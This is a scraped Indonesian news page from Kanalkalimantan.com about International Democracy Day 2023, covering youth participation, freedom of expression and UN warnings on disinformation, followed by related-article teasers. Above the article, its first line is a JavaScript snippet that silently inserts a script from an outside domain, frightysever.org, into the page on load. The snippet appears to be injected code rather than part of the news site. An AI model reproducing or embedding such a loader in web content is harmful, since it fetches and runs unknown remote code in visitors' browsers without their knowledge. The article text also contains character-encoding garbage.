(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Hari Demokrasi Internasional memberikan kesempatan untuk meninjau kembali keadaan demokrasi di dunia.
Kebebasan berekspresi adalah hak asasi manusia yang mendasar, yang tercantum dalam Pasal 19 Deklarasi Universal Hak Asasi Manusia. Namun, di seluruh dunia, terdapat pemerintah dan pemegang kekuasaan yang menggunakan banyak cara untuk menghalangi hal tersebut.
Kaitan antara demokrasi dan kebebasan pers juga tertuang dalam Kovenan Internasional tentang Hak Sipil dan Politik .
Baca juga:Â Embung Gunung Kupang Capai 32 Persen, Tangkal Banjir di CempakaÂ
Tema Hari Demokrasi Internasional tahun 2023 adalah “Memberdayakan generasi mendatang,†berfokus pada peran penting generasi muda dalam memajukan demokrasi dan memastikan bahwa suara mereka disertakan dalam pengambilan keputusan yang berdampak besar pada dunia mereka.
Generasi Muda Penjaga Demokrasi Saat Ini Dan Masa Depan
Para pemilih yang terlibat dan terdidik merupakan inti dari masyarakat demokratis yang kuat. Menciptakan lingkungan di mana generasi muda merasa bahwa suara mereka berarti sangatlah penting.
Baca juga:Â Tugu Nol Kilometer Banjarbaru Branding Ibu Kota KalselÂ
Kaum muda harus menghadapi dunia di mana demokrasi berada di bawah ancaman yang disebabkan oleh berbagai faktor mulai dari penyebaran mis informasi dan disinformasi online, hingga meningkatnya populisme, dan dampak krisis iklim yang mengganggu stabilitas. Penting bagi setiap orang untuk dapat berpartisipasi secara bermakna dalam pengambilan keputusan yang mempengaruhi kehidupan mereka saat ini, dan di tahun-tahun mendatang.
Konflik yang belum terselesaikan, meningkatnya ancaman perubahan iklim, dan gejolak keuangan terus menerus menjadi ancaman terhadap demokrasi di seluruh dunia. “Dinding-dinding ini menutup ruang-ruang sipil,†ujar Sekretaris Jenderal PBB António Guterres memperingatkan pada Hari Demokrasi Internasional.
Dalam pesannya yang memperingati hari tersebut, Sekjen PBB menyalahkan penyebaran misinformasi dan disinformasi yang meracuni wacana publik, mempolarisasi masyarakat, dan mengikis kepercayaan terhadap institusi.
Baca juga:Â Api Terus Muncul di Lahan Gambut Kawasan Ring 1 Bandara, dari Guntung Damar hingga Gudang Tengah
Mengingat dampak buruk yang ditimbulkan oleh banjir informasi palsu terhadap generasi muda , Hari Demokrasi Internasional tahun ini didedikasikan untuk “Memberdayakan Generasi Penerus” dengan berfokus pada peran penting anak-anak dan generasi muda dalam memastikan demokrasi “saat ini dan di masa depanâ€. (Kanalkalimantan.com/kk)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.